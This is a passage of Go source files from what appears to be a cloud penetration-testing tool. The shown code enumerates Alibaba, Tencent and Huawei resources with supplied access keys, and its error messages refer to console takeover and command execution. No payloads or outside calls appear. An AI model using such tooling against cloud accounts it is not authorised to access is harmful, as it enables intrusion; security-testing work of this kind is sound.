showPermanentAccessKeyRequestResponse.Credential.Status == "active" { 57 | log.Traceln("IAM Client 连接成功 (IAM Client connection successful)") 58 | } 59 | return client 60 | } else { 61 | // 使用 STS Token 连接 62 | auth := global.NewCredentialsBuilder(). 63 | WithAk(huaweiConfig.AccessKeyId). 64 | WithSk(huaweiConfig.AccessKeySecret). 65 | WithSecurityToken(huaweiConfig.STSToken). 66 | Build() 67 | 68 | client := iam.NewIamClient( 69 | iam.IamClientBuilder(). 70 | WithRegion(iamRegion.ValueOf("cn-east-3")). 71 | WithCredential(auth). 72 | Build()) 73 | 74 | showPermanentAccessKeyRequestContent := &iamModel.ShowPermanentAccessKeyRequest{} 75 | showPermanentAccessKeyRequestContent.AccessKey = huaweiConfig.AccessKeyId 76 | showPermanentAccessKeyRequestResponse, err := client.ShowPermanentAccessKey(showPermanentAccessKeyRequestContent) 77 | if err != nil { 78 | errutil.HandleErr(err) 79 | } else if showPermanentAccessKeyRequestResponse.Credential.Status == "active" { 80 | log.Traceln("IAM Client 连接成功 (IAM Client connection successful)") 81 | } 82 | return client 83 | } 84 | } 85 | } 86 | 87 | //func ECSClient() *ecs.EcsClient { 88 | // huaweiConfig := cmdutil.GetConfig("huawei") 89 | // if huaweiConfig.AccessKeyId == "" { 90 | // log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 91 | // os.Exit(0) 92 | // return nil 93 | // } else { 94 | // // 判断是否已经配置了STS Token 95 | // if huaweiConfig.STSToken == "" { 96 | // auth := basic.NewCredentialsBuilder(). 97 | // WithAk(huaweiConfig.AccessKeyId). 98 | // WithSk(huaweiConfig.AccessKeySecret). 99 | // Build() 100 | // 101 | // client := ecs.NewEcsClient( 102 | // ecs.EcsClientBuilder(). 103 | // WithRegion(ecsRegion.ValueOf("cn-east-3")). 104 | // WithCredential(auth). 105 | // Build()) 106 | // listServersDetailsRequestContent := &ecsModel.ListServersDetailsRequest{} 107 | // _, err := client.ListServersDetails(listServersDetailsRequestContent) 108 | // if err != nil { 109 | // log.Traceln(err) 110 | // } else { 111 | // log.Traceln("ECS Client 连接成功 (ECS Client connection successful)") 112 | // } 113 | // return client 114 | // } else { 115 | // auth := basic.NewCredentialsBuilder(). 116 | // WithAk(huaweiConfig.AccessKeyId). 117 | // WithSk(huaweiConfig.AccessKeySecret). 118 | // WithSecurityToken(huaweiConfig.STSToken). 119 | // Build() 120 | // 121 | // client := ecs.NewEcsClient( 122 | // ecs.EcsClientBuilder(). 123 | // WithRegion(ecsRegion.ValueOf("cn-east-3")). 124 | // WithCredential(auth). 125 | // Build()) 126 | // listServersDetailsRequestContent := &ecsModel.ListServersDetailsRequest{} 127 | // _, err := client.ListServersDetails(listServersDetailsRequestContent) 128 | // if err != nil { 129 | // log.Traceln(err) 130 | // } else { 131 | // log.Traceln("ECS Client 连接成功 (ECS Client connection successful)") 132 | // } 133 | // return client 134 | // } 135 | // } 136 | //} 137 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/alirds/rdsls.go: -------------------------------------------------------------------------------- 1 | package alirds 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests" 7 | "github.com/teamssix/cf/pkg/util/errutil" 8 | 9 | "github.com/aliyun/alibaba-cloud-sdk-go/services/rds" 10 | log "github.com/sirupsen/logrus" 11 | "github.com/teamssix/cf/pkg/cloud" 12 | "github.com/teamssix/cf/pkg/util" 13 | "github.com/teamssix/cf/pkg/util/cmdutil" 14 | ) 15 | 16 | var ( 17 | DescribeDBInstancesOut []DBInstances 18 | TimestampType = util.ReturnTimestampType("alibaba", "rds") 19 | header = []string{"序号 (SN)", "数据库 ID (DB ID)", "数据库类型 (DB Engine)", "数据库版本 (DB Engine Version)", "数据库状态 (DB Staus)", "区域 ID (Region ID)"} 20 | ) 21 | 22 | type DBInstances struct { 23 | DBInstanceId string 24 | Engine string 25 | EngineVersion string 26 | DBInstanceStatus string 27 | RegionId string 28 | } 29 | 30 | func DescribeDBInstances(region string, running bool, specifiedDBInstanceID string, engine string, NextToken string) ([]DBInstances, error) { 31 | request := rds.CreateDescribeDBInstancesRequest() 32 | request.PageSize = requests.NewInteger(100) 33 | request.Scheme = "https" 34 | if NextToken != "" { 35 | request.NextToken = NextToken 36 | } 37 | if running == true { 38 | request.DBInstanceStatus = "Running" 39 | } 40 | if specifiedDBInstanceID != "all" { 41 | request.DBInstanceId = specifiedDBInstanceID 42 | } 43 | if engine != "all" { 44 | request.Engine = engine 45 | } 46 | response, err := RDSClient(region).DescribeDBInstances(request) 47 | errutil.HandleErrNoExit(err) 48 | DBInstancesList := response.Items.DBInstance 49 | log.Infof("正在 %s 区域中查找数据库实例 (Looking for DBInstances in the %s region)", region, region) 50 | if len(DBInstancesList) != 0 { 51 | log.Infof("在 %s 区域下找到 %d 个数据库实例 (Found %d DBInstances in %s region)", region, len(DBInstancesList), len(DBInstancesList), region) 52 | for _, i := range DBInstancesList { 53 | obj := DBInstances{ 54 | DBInstanceId: i.DBInstanceId, 55 | Engine: i.Engine, 56 | EngineVersion: i.EngineVersion, 57 | RegionId: i.RegionId, 58 | DBInstanceStatus: i.DBInstanceStatus, 59 | } 60 | DescribeDBInstancesOut = append(DescribeDBInstancesOut, obj) 61 | } 62 | } 63 | NextToken = response.NextToken 64 | if NextToken != "" { 65 | log.Tracef("Next Token: %s", NextToken) 66 | _, _ = DescribeDBInstances(region, running, specifiedDBInstanceID, engine, NextToken) 67 | } 68 | return DescribeDBInstancesOut, err 69 | } 70 | 71 | func ReturnDBInstancesList(region string, running bool, specifiedDBInstanceID string, engine string) []DBInstances { 72 | var DBInstancesList []DBInstances 73 | var DBInstance []DBInstances 74 | if region == "all" { 75 | var RegionsList []string 76 | for _, i := range GetRDSRegions() { 77 | RegionsList = append(RegionsList, i.RegionId) 78 | } 79 | RegionsList = RemoveRepeatedElement(RegionsList) 80 | for _, j := range RegionsList { 81 | DBInstance, _ = DescribeDBInstances(j, running, specifiedDBInstanceID, engine, "") 82 | DescribeDBInstancesOut = nil 83 | for _, i := range DBInstance { 84 | DBInstancesList = append(DBInstancesList, i) 85 | } 86 | } 87 | } else { 88 | DBInstancesList, _ = DescribeDBInstances(region, running, specifiedDBInstanceID, engine, "") 89 | } 90 | return DBInstancesList 91 | } 92 | 93 | func RemoveRepeatedElement(arr []string) (newArr []string) { 94 | newArr = make([]string, 0) 95 | for i := 0; i < len(arr); i++ { 96 | repeat := false 97 | for j := i + 1; j < len(arr); j++ { 98 | if arr[i] == arr[j] { 99 | repeat = true 100 | break 101 | } 102 | } 103 | if !repeat { 104 | newArr = append(newArr, arr[i]) 105 | } 106 | } 107 | return newArr 108 | } 109 | 110 | func PrintDBInstancesListRealTime(region string, running bool, specifiedDBInstanceID string, engine string) { 111 | DBInstancesList := ReturnDBInstancesList(region, running, specifiedDBInstanceID, engine) 112 | var data = make([][]string, len(DBInstancesList)) 113 | for i, o := range DBInstancesList { 114 | SN := strconv.Itoa(i + 1) 115 | data[i] = []string{SN, o.DBInstanceId, o.Engine, o.EngineVersion, o.DBInstanceStatus, o.RegionId} 116 | } 117 | var td = cloud.TableData{Header: header, Body: data} 118 | if len(data) == 0 { 119 | log.Info("未发现 RDS (No RDS found)") 120 | } else { 121 | Caption := "RDS 资源 (RDS resources)" 122 | cloud.PrintTable(td, Caption) 123 | util.WriteTimestamp(TimestampType) 124 | } 125 | cmdutil.WriteCacheFile(td, "alibaba", "rds", region, specifiedDBInstanceID) 126 | } 127 | 128 | func PrintDBInstancesListHistory(region string, running bool, specifiedDBInstanceID string, engine string) { 129 | cmdutil.PrintRDSCacheFile(header, region, specifiedDBInstanceID, engine, "alibaba", "RDS") 130 | } 131 | 132 | func PrintDBInstancesList(region string, running bool, specifiedDBInstanceID string, engine string, lsFlushCache bool) { 133 | if lsFlushCache { 134 | PrintDBInstancesListRealTime(region, running, specifiedDBInstanceID, engine) 135 | } else { 136 | oldTimestamp := util.ReadTimestamp(TimestampType) 137 | if oldTimestamp == 0 { 138 | PrintDBInstancesListRealTime(region, running, specifiedDBInstanceID, engine) 139 | } else if util.IsFlushCache(oldTimestamp) { 140 | PrintDBInstancesListRealTime(region, running, specifiedDBInstanceID, engine) 141 | } else { 142 | util.TimeDifference(oldTimestamp) 143 | PrintDBInstancesListHistory(region, running, specifiedDBInstanceID, engine) 144 | } 145 | } 146 | } 147 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentlh/lhls.go: -------------------------------------------------------------------------------- 1 | package tencentlh 2 | 3 | import ( 4 | "encoding/json" 5 | "strconv" 6 | "strings" 7 | 8 | "github.com/teamssix/cf/pkg/cloud/tencent/tencentcvm" 9 | "github.com/teamssix/cf/pkg/util/errutil" 10 | lh "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/lighthouse/v20200324" 11 | 12 | log "github.com/sirupsen/logrus" 13 | "github.com/teamssix/cf/pkg/cloud" 14 | "github.com/teamssix/cf/pkg/util/cmdutil" 15 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 16 | ) 17 | 18 | var ( 19 | header = []string{"序号 (SN)", "实例ID (Instance ID)", "实例名称 (Instance Name)", "系统名称 (OS Name)", "系统类型 (OS Type)", "状态 (Status)", "私有 IP (Private IP)", "公网 IP (Public IP)", "区域 ID (Region ID)"} 20 | InstancesOut []Instances 21 | ) 22 | 23 | type Instances struct { 24 | InstanceId string 25 | InstanceName string 26 | OSName string 27 | OSType string 28 | Status string 29 | PrivateIpAddress string 30 | PublicIpAddress string 31 | RegionId string 32 | } 33 | 34 | func DescribeInstances(region string, running bool, specifiedInstanceID string, offSet int64) []Instances { 35 | request := lh.NewDescribeInstancesRequest() 36 | request.Offset = common.Int64Ptr(offSet) 37 | request.Limit = common.Int64Ptr(100) 38 | if running { 39 | request.Filters = []*lh.Filter{ 40 | { 41 | Name: common.StringPtr("instance-state"), 42 | Values: common.StringPtrs([]string{"RUNNING"}), 43 | }, 44 | } 45 | } 46 | if specifiedInstanceID != "all" { 47 | request.InstanceIds = common.StringPtrs([]string{specifiedInstanceID}) 48 | } 49 | response, err := LHClient(region).DescribeInstances(request) 50 | errutil.HandleErr(err) 51 | InstancesList := response.Response.InstanceSet 52 | log.Infof("正在 %s 区域中查找实例 (Looking for instances in the %s region)", region, region) 53 | InstancesTotalCount := *response.Response.TotalCount 54 | if len(InstancesList) != 0 { 55 | log.Infof("在 %s 区域下找到 %d 个实例 (Found %d instances in %s region)", region, len(InstancesList), len(InstancesList), region) 56 | var ( 57 | PrivateIpAddressList []string 58 | PublicIpAddressList []string 59 | PrivateIpAddress string 60 | PublicIpAddress string 61 | OSType string 62 | ) 63 | for _, v := range InstancesList { 64 | for _, m := range v.PrivateAddresses { 65 | PrivateIpAddressList = append(PrivateIpAddressList, *m) 66 | } 67 | for _, m := range v.PublicAddresses { 68 | PublicIpAddressList = append(PublicIpAddressList, *m) 69 | } 70 | a, _ := json.Marshal(PrivateIpAddressList) 71 | if len(PrivateIpAddressList) == 1 { 72 | PrivateIpAddress = PrivateIpAddressList[0] 73 | } else { 74 | PrivateIpAddress = string(a) 75 | } 76 | b, _ := json.Marshal(PublicIpAddressList) 77 | if len(PublicIpAddressList) == 1 { 78 | PublicIpAddress = PublicIpAddressList[0] 79 | } else { 80 | PublicIpAddress = string(b) 81 | } 82 | newOSname := strings.Split(*v.OsName, " ")[0] 83 | if find(tencentcvm.LinuxSet, newOSname) { 84 | OSType = "linux" 85 | } else { 86 | OSType = "windows" 87 | } 88 | errutil.HandleErr(err) 89 | obj := Instances{ 90 | InstanceId: *v.InstanceId, 91 | InstanceName: *v.InstanceName, 92 | OSName: *v.OsName, 93 | OSType: OSType, 94 | Status: *v.InstanceState, 95 | PrivateIpAddress: PrivateIpAddress, 96 | PublicIpAddress: PublicIpAddress, 97 | RegionId: *v.Zone, 98 | } 99 | InstancesOut = append(InstancesOut, obj) 100 | } 101 | if InstancesTotalCount > int64(len(InstancesOut)) { 102 | _ = DescribeInstances(region, running, specifiedInstanceID, int64(len(InstancesOut))) 103 | } 104 | } 105 | return InstancesOut 106 | } 107 | 108 | func ReturnInstancesList(region string, running bool, specifiedInstanceID string) []Instances { 109 | var InstancesList []Instances 110 | var Instance []Instances 111 | if region == "all" { 112 | for _, j := range GetLHRegions() { 113 | region := *j.Region 114 | Instance = DescribeInstances(region, running, specifiedInstanceID, 0) 115 | InstancesOut = nil 116 | for _, i := range Instance { 117 | InstancesList = append(InstancesList, i) 118 | } 119 | } 120 | } else { 121 | InstancesList = DescribeInstances(region, running, specifiedInstanceID, 0) 122 | } 123 | return InstancesList 124 | } 125 | 126 | func PrintInstancesListRealTime(region string, running bool, specifiedInstanceID string) { 127 | InstancesList := ReturnInstancesList(region, running, specifiedInstanceID) 128 | var data = make([][]string, len(InstancesList)) 129 | for i, o := range InstancesList { 130 | SN := strconv.Itoa(i + 1) 131 | data[i] = []string{SN, o.InstanceId, o.InstanceName, o.OSName, o.OSType, o.Status, o.PrivateIpAddress, o.PublicIpAddress, o.RegionId} 132 | } 133 | var td = cloud.TableData{Header: header, Body: data} 134 | if len(data) == 0 { 135 | log.Info("未发现 LH 实例 (No LH instances found)") 136 | } else { 137 | Caption := "LH 资源 (LH resources)" 138 | cloud.PrintTable(td, Caption) 139 | } 140 | cmdutil.WriteCacheFile(td, "tencent", "lh", region, specifiedInstanceID) 141 | } 142 | 143 | func PrintInstancesListHistory(region string, running bool, specifiedInstanceID string) { 144 | cmdutil.PrintECSCacheFile(header, region, specifiedInstanceID, "tencent", "LH", running) 145 | } 146 | 147 | func PrintInstancesList(region string, running bool, specifiedInstanceID string, lhFlushCache bool) { 148 | if lhFlushCache { 149 | PrintInstancesListRealTime(region, running, specifiedInstanceID) 150 | } else { 151 | PrintInstancesListHistory(region, running, specifiedInstanceID) 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /pkg/util/errutil/errutil.go: -------------------------------------------------------------------------------- 1 | package errutil 2 | 3 | import ( 4 | "os" 5 | "strings" 6 | 7 | log "github.com/sirupsen/logrus" 8 | ) 9 | 10 | type error interface { 11 | Error() string 12 | } 13 | 14 | var errorMessages = map[string]string{ 15 | "InvalidAccessKeyId.NotFound": "当前访问密钥无效 (Current access key are invalid)", 16 | "Message: The specified parameter \"SecurityToken.Expired\" is not valid.": "当前临时访问密钥已过期 (Current SecurityToken has expired)", 17 | "ErrorCode: InvalidSecurityToken.Expired": "当前临时访问密钥已过期 (Current SecurityToken has expired)", 18 | "Message: The Access Key is disabled.": "当前访问密钥已被禁用 (The Access Key is disabled)", 19 | "ErrorCode: Forbidden.RAM": "当前访问密钥没有执行命令的权限 (Current Access Key do not have permission to execute commands)", 20 | "ErrorCode: NoPermission": "当前访问密钥没有接管控制台的权限 (Current Access Key do not have permission to take over the console)", 21 | "ErrorCode=NoSuchKey": "存储桶中没有这个对象 (There is no such key in the bucket)", 22 | "Code=ResourceNotFound, Message=未查询到对应机器": "指定资源不存在 (Resource not found)", 23 | //"Code=UnauthorizedOperation": "当前 AK 权限不足 (Insufficient Access Key permissions)", 24 | "you are not authorized to perform operation (tat:CreateCommand)": "当前 AK 不具备执行命令的权限 (This Access Key does not have permission to execute commands)", 25 | "network is unreachable": "当前网络连接异常 (Network is unreachable)", 26 | "InvalidSecurityToken.Expired": "临时令牌已过期 (STS token has expired)", 27 | "InvalidAccessKeyId.Inactive": "当前 AK 已被禁用 (The current AccessKeyId is inactive)", 28 | "interrupt": "程序已退出 (Program exited.)", 29 | "ErrorCode=AccessDenied, ErrorMessage=\"The bucket you access does not belong to you.\"": "获取 Bucket 信息失败,访问被拒绝 (Failed to get Bucket information, access is denied.)", 30 | "ExpiredToken": "当前访问密钥已过期 (Current token has expired)", 31 | "read: connection reset by peer": "网络连接出现错误,请检查您的网络环境是否正常 (There is an error in your network connection, please check if your network environment is normal.)", 32 | "Code=ResourceUnavailable.AgentNotInstalled": "Agent 未安装 (Agent not installed)", 33 | "Incorrect IAM authentication information": "当前 AK 信息无效 (Current AccessKey information is invalid)", 34 | "The API does not exist or has not been published in the environment": "当前用户已存在,请指定其他用户名 (User already exists, please specify another user name)", 35 | "Status=403 Forbidden, Code=AccessDenied": "当前权限不足 (Insufficient permissions)", 36 | } 37 | 38 | var errorMessagesNoExit = map[string]string{ 39 | "ErrorCode: Forbidden.RAM": "当前访问密钥没有执行命令的权限 (Current Access Key do not have permission to execute commands)", 40 | //"ErrorCode: Forbidden": " 当前访问密钥没有 RDS 的读取权限 (Current Access Key do not have read access to RDS"), 41 | "You are forbidden to list buckets.": "当前凭证不具备 OSS 的读取权限,无法获取 OSS 数据。 (OSS data is not available because the current credential does not have read access to OSS.)", 42 | "ErrorCode: EntityAlreadyExists.User.Policy": "已接管过控制台,无需重复接管 (Console has been taken over)", 43 | "ErrorCode: EntityAlreadyExists.User": "已接管过控制台,无需重复接管 (Console has been taken over)", 44 | "ErrorCode: EntityNotExist.User": "已取消接管控制台,无需重复取消 (Console has been de-taken over)", 45 | "Code=ResourceNotFound, Message=指定资源": "指定资源不存在 (ResourceNotFound)", 46 | "InvalidParameter.SubUserNameInUse": "已接管过控制台,无需重复接管 (Console has been taken over)", 47 | "you are not authorized to perform operation (cwp:DescribeMachines)": "当前 AK 没有 CWP 权限", 48 | } 49 | 50 | var errorMessagesExit = map[string]string{ 51 | "ErrorCode: Forbidden.RAM": "当前访问密钥没有执行命令的权限 (Current Access Key do not have permission to execute commands)", 52 | "ErrorCode: NoPermission": "当前访问密钥没有接管控制台的权限 (Current Access Key do not have permission to take over the console)", 53 | "network is unreachable": "当前网络连接异常 (Network is unreachable)", 54 | "InvalidSecurityToken.Expired": "临时令牌已过期 (STS token has expired)", 55 | "InvalidAccessKeyId.Inactive": "当前 AK 已被禁用 (The current AccessKeyId is inactive)", 56 | //"Message=操作未授权,请检查CAM策略。": "当前 AK 权限不足 (Insufficient Access Key permissions)", 57 | "Code=AuthFailure.SecretIdNotFound": "SecretId 不存在,请输入正确的密钥 (SecretId does not exist, please enter the correct key.)", 58 | "Code=AuthFailure.SignatureFailure": "请求签名验证失败,请检查您的访问密钥是否正确 (Request signature verification failed, please check if your access key is correct.)", 59 | "read: connection reset by peer": "网络连接出现错误,请检查您的网络环境是否正常 (There is an error in your network connection, please check if your network environment is normal.)", 60 | "InvalidAccessKeyId.NotFound": "当前访问密钥无效 (Current access key are invalid)", 61 | } 62 | 63 | func HandleErr(e error) { 64 | if e != nil { 65 | log.Traceln(e.Error()) 66 | for k, v := range errorMessages { 67 | if strings.Contains(e.Error(), k) { 68 | log.Errorln(v) 69 | os.Exit(0) 70 | } 71 | } 72 | log.Errorln(e) 73 | } 74 | } 75 | 76 | func HandleErrNoExit(e error) { 77 | if e != nil { 78 | log.Traceln(e.Error()) 79 | for k, v := range errorMessagesNoExit { 80 | if strings.Contains(e.Error(), k) { 81 | log.Debugln(v) 82 | } 83 | } 84 | for k, v := range errorMessagesExit { 85 | if strings.Contains(e.Error(), k) { 86 | log.Errorln(v) 87 | os.Exit(0) 88 | } 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentcvm/cvmls.go: -------------------------------------------------------------------------------- 1 | package tencentcvm 2 | 3 | import ( 4 | "encoding/json" 5 | "strconv" 6 | "strings" 7 | 8 | "github.com/teamssix/cf/pkg/util/errutil" 9 | 10 | log "github.com/sirupsen/logrus" 11 | "github.com/teamssix/cf/pkg/cloud" 12 | "github.com/teamssix/cf/pkg/util/cmdutil" 13 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 14 | cvm "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cvm/v20170312" 15 | ) 16 | 17 | var ( 18 | header = []string{"序号 (SN)", "实例 ID (Instance ID)", "实例名称 (Instance Name)", "系统名称 (OS Name)", "系统类型 (OS Type)", "状态 (Status)", "私有 IP (Private IP)", "公网 IP (Public IP)", "区域 ID (Region ID)"} 19 | LinuxSet = []string{"CentOS", "Ubuntu", "Debian", "OpenSUSE", "SUSE", "CoreOS", "FreeBSD", "Kylin", "UnionTech", "TencentOS", "Other Linux"} 20 | InstancesOut []Instances 21 | ) 22 | 23 | type Instances struct { 24 | InstanceId string 25 | InstanceName string 26 | OSName string 27 | OSType string 28 | Status string 29 | PrivateIpAddress string 30 | PublicIpAddress string 31 | RegionId string 32 | } 33 | 34 | func DescribeInstances(region string, running bool, specifiedInstanceID string, offSet int64) []Instances { 35 | request := cvm.NewDescribeInstancesRequest() 36 | request.Offset = common.Int64Ptr(offSet) 37 | request.Limit = common.Int64Ptr(100) 38 | request.SetScheme("https") 39 | if running { 40 | request.Filters = []*cvm.Filter{ 41 | { 42 | Name: common.StringPtr("instance-state"), 43 | Values: common.StringPtrs([]string{"RUNNING"}), 44 | }, 45 | } 46 | } 47 | if specifiedInstanceID != "all" { 48 | request.InstanceIds = common.StringPtrs([]string{specifiedInstanceID}) 49 | } 50 | response, err := CVMClient(region).DescribeInstances(request) 51 | errutil.HandleErr(err) 52 | InstancesList := response.Response.InstanceSet 53 | log.Infof("正在 %s 区域中查找实例 (Looking for instances in the %s region)", region, region) 54 | InstancesTotalCount := *response.Response.TotalCount 55 | if len(InstancesList) != 0 { 56 | log.Infof("在 %s 区域下找到 %d 个实例 (Found %d instances in %s region)", region, len(InstancesList), len(InstancesList), region) 57 | var ( 58 | PrivateIpAddressList []string 59 | PublicIpAddressList []string 60 | PrivateIpAddress string 61 | PublicIpAddress string 62 | OSType string 63 | ) 64 | for _, v := range InstancesList { 65 | for _, m := range v.PrivateIpAddresses { 66 | PrivateIpAddressList = append(PrivateIpAddressList, *m) 67 | } 68 | for _, m := range v.PublicIpAddresses { 69 | PublicIpAddressList = append(PublicIpAddressList, *m) 70 | } 71 | a, _ := json.Marshal(PrivateIpAddressList) 72 | if len(PrivateIpAddressList) == 1 { 73 | PrivateIpAddress = PrivateIpAddressList[0] 74 | } else { 75 | PrivateIpAddress = string(a) 76 | } 77 | b, _ := json.Marshal(PublicIpAddressList) 78 | if len(PublicIpAddressList) == 1 { 79 | PublicIpAddress = PublicIpAddressList[0] 80 | } else { 81 | PublicIpAddress = string(b) 82 | } 83 | newOSname := strings.Split(*v.OsName, " ")[0] 84 | if find(LinuxSet, newOSname) { 85 | OSType = "linux" 86 | } else { 87 | OSType = "windows" 88 | } 89 | obj := Instances{ 90 | InstanceId: *v.InstanceId, 91 | InstanceName: *v.InstanceName, 92 | OSName: *v.OsName, 93 | OSType: OSType, 94 | Status: *v.InstanceState, 95 | PrivateIpAddress: PrivateIpAddress, 96 | PublicIpAddress: PublicIpAddress, 97 | RegionId: *v.Placement.Zone, 98 | } 99 | InstancesOut = append(InstancesOut, obj) 100 | } 101 | } 102 | if InstancesTotalCount > int64(len(InstancesOut)) { 103 | _ = DescribeInstances(region, running, specifiedInstanceID, int64(len(InstancesOut))) 104 | } 105 | return InstancesOut 106 | } 107 | 108 | func ReturnInstancesList(region string, running bool, specifiedInstanceID string) []Instances { 109 | var InstancesList []Instances 110 | var Instance []Instances 111 | if region == "all" { 112 | for _, j := range GetCVMRegions() { 113 | region := *j.Region 114 | Instance = DescribeInstances(region, running, specifiedInstanceID, 0) 115 | InstancesOut = nil 116 | for _, i := range Instance { 117 | InstancesList = append(InstancesList, i) 118 | } 119 | } 120 | } else { 121 | InstancesList = DescribeInstances(region, running, specifiedInstanceID, 0) 122 | } 123 | return InstancesList 124 | } 125 | 126 | func PrintInstancesListRealTime(region string, running bool, specifiedInstanceID string) { 127 | InstancesList := ReturnInstancesList(region, running, specifiedInstanceID) 128 | var data = make([][]string, len(InstancesList)) 129 | for i, o := range InstancesList { 130 | SN := strconv.Itoa(i + 1) 131 | data[i] = []string{SN, o.InstanceId, o.InstanceName, o.OSName, o.OSType, o.Status, o.PrivateIpAddress, o.PublicIpAddress, o.RegionId} 132 | } 133 | var td = cloud.TableData{Header: header, Body: data} 134 | if len(data) == 0 { 135 | log.Info("未发现 CVM 实例 (No CVM instances found)") 136 | } else { 137 | Caption := "CVM 资源 (CVM resources)" 138 | cloud.PrintTable(td, Caption) 139 | } 140 | cmdutil.WriteCacheFile(td, "tencent", "cvm", region, specifiedInstanceID) 141 | } 142 | 143 | func PrintInstancesListHistory(region string, running bool, specifiedInstanceID string) { 144 | cmdutil.PrintECSCacheFile(header, region, specifiedInstanceID, "tencent", "CVM", running) 145 | } 146 | 147 | func PrintInstancesList(region string, running bool, specifiedInstanceID string, cvmFlushCache bool) { 148 | if cvmFlushCache { 149 | PrintInstancesListRealTime(region, running, specifiedInstanceID) 150 | } else { 151 | PrintInstancesListHistory(region, running, specifiedInstanceID) 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /pkg/util/cmdutil/cache.go: -------------------------------------------------------------------------------- 1 | package cmdutil 2 | 3 | import ( 4 | "fmt" 5 | 6 | log "github.com/sirupsen/logrus" 7 | "github.com/teamssix/cf/pkg/cloud" 8 | "github.com/teamssix/cf/pkg/util/database" 9 | "github.com/teamssix/cf/pkg/util/errutil" 10 | "github.com/teamssix/cf/pkg/util/pubutil" 11 | ) 12 | 13 | func ReturnCacheDict() string { 14 | home, err := pubutil.GetCFHomeDir() 15 | errutil.HandleErr(err) 16 | return home 17 | } 18 | 19 | func WriteCacheFile(td cloud.TableData, provider string, serviceType string, region string, id string) { 20 | AccessKeyId := GetConfig(provider).AccessKeyId 21 | ecsArray := []string{"ec2", "lh", "cvm"} 22 | ossArray := []string{"s3", "obs"} 23 | if pubutil.IN(serviceType, ecsArray) { 24 | serviceType = "ecs" 25 | } else if pubutil.IN(serviceType, ossArray) { 26 | serviceType = "oss" 27 | } 28 | if len(td.Body) == 0 { 29 | if serviceType == "oss" { 30 | database.DeleteOSSCache(AccessKeyId) 31 | } else if serviceType == "ecs" { 32 | database.DeleteECSCache(AccessKeyId) 33 | } else if serviceType == "rds" { 34 | database.DeleteRDSCache(AccessKeyId) 35 | } 36 | } else if region == "all" && id == "all" { 37 | log.Debugln("写入数据到缓存数据库 (Write data to a cache database)") 38 | switch { 39 | case serviceType == "oss": 40 | var OSSCacheList []pubutil.OSSCache 41 | for _, v := range td.Body { 42 | OSSCache := pubutil.OSSCache{ 43 | AccessKeyId: AccessKeyId, 44 | SN: v[0], 45 | Name: v[1], 46 | BucketACL: v[2], 47 | ObjectNumber: v[3], 48 | ObjectSize: v[4], 49 | Region: v[5], 50 | BucketURL: v[6], 51 | } 52 | OSSCacheList = append(OSSCacheList, OSSCache) 53 | } 54 | database.InsertOSSCache(OSSCacheList) 55 | case serviceType == "ecs": 56 | var ECSCacheList []pubutil.ECSCache 57 | for _, v := range td.Body { 58 | ECSCache := pubutil.ECSCache{ 59 | AccessKeyId: AccessKeyId, 60 | SN: v[0], 61 | InstanceId: v[1], 62 | InstanceName: v[2], 63 | OSName: v[3], 64 | OSType: v[4], 65 | Status: v[5], 66 | PrivateIpAddress: v[6], 67 | PublicIpAddress: v[7], 68 | RegionId: v[8], 69 | } 70 | ECSCacheList = append(ECSCacheList, ECSCache) 71 | } 72 | database.InsertECSCache(ECSCacheList) 73 | case serviceType == "rds": 74 | var RDSCacheList []pubutil.RDSCache 75 | for _, v := range td.Body { 76 | RDSCache := pubutil.RDSCache{ 77 | AccessKeyId: AccessKeyId, 78 | SN: v[0], 79 | DBInstanceId: v[1], 80 | Engine: v[2], 81 | EngineVersion: v[3], 82 | DBInstanceStatus: v[4], 83 | RegionId: v[5], 84 | } 85 | RDSCacheList = append(RDSCacheList, RDSCache) 86 | } 87 | database.InsertRDSCache(RDSCacheList) 88 | } 89 | } else { 90 | log.Debugln("由于数据不是全部数据,所以不写入缓存文件 (Since the data is not all data, it is not written to the cache file)") 91 | } 92 | } 93 | 94 | func ReadOSSCache(provider string) []pubutil.OSSCache { 95 | log.Debugf("正在读取 %s 的对象存储缓存数据 (Reading %s object storage cache data)", provider, provider) 96 | return database.SelectOSSCache(provider) 97 | } 98 | 99 | func ReadECSCache(provider string) []pubutil.ECSCache { 100 | log.Debugf("正在读取 %s 的弹性计算实例缓存数据 (Reading %s elastic compute instances cache data)", provider, provider) 101 | return database.SelectECSCache(provider) 102 | } 103 | 104 | func PrintOSSCacheFile(header []string, region string, provider string, resourceType string, ossLsBucket string) { 105 | var data [][]string 106 | OSSCache := database.SelectOSSCacheFilter(provider, region) 107 | for _, v := range OSSCache { 108 | if ossLsBucket == "all" { 109 | dataSingle := []string{v.SN, v.Name, v.BucketACL, v.ObjectNumber, v.ObjectSize, v.Region, v.BucketURL} 110 | data = append(data, dataSingle) 111 | } else if ossLsBucket == v.Name { 112 | dataSingle := []string{v.SN, v.Name, v.BucketACL, v.ObjectNumber, v.ObjectSize, v.Region, v.BucketURL} 113 | data = append(data, dataSingle) 114 | } 115 | } 116 | PrintTable(data, header, resourceType) 117 | } 118 | 119 | func PrintECSCacheFile(header []string, region string, specifiedInstanceID string, provider string, resourceType string, running bool) { 120 | var data [][]string 121 | ECSCache := database.SelectEcsCacheFilter(provider, region, specifiedInstanceID, running) 122 | for _, v := range ECSCache { 123 | dataSingle := []string{v.SN, v.InstanceId, v.InstanceName, v.OSName, v.OSType, v.Status, v.PrivateIpAddress, v.PublicIpAddress, v.RegionId} 124 | data = append(data, dataSingle) 125 | } 126 | PrintTable(data, header, resourceType) 127 | } 128 | 129 | func PrintRDSCacheFile(header []string, region string, specifiedDBInstanceID string, engine string, provider string, resourceType string) { 130 | var data [][]string 131 | RDSCache := database.SelectRDSCacheFilter(provider, region, specifiedDBInstanceID, engine) 132 | for _, v := range RDSCache { 133 | dataSingle := []string{v.SN, v.DBInstanceId, v.Engine, v.EngineVersion, v.DBInstanceStatus, v.RegionId} 134 | data = append(data, dataSingle) 135 | } 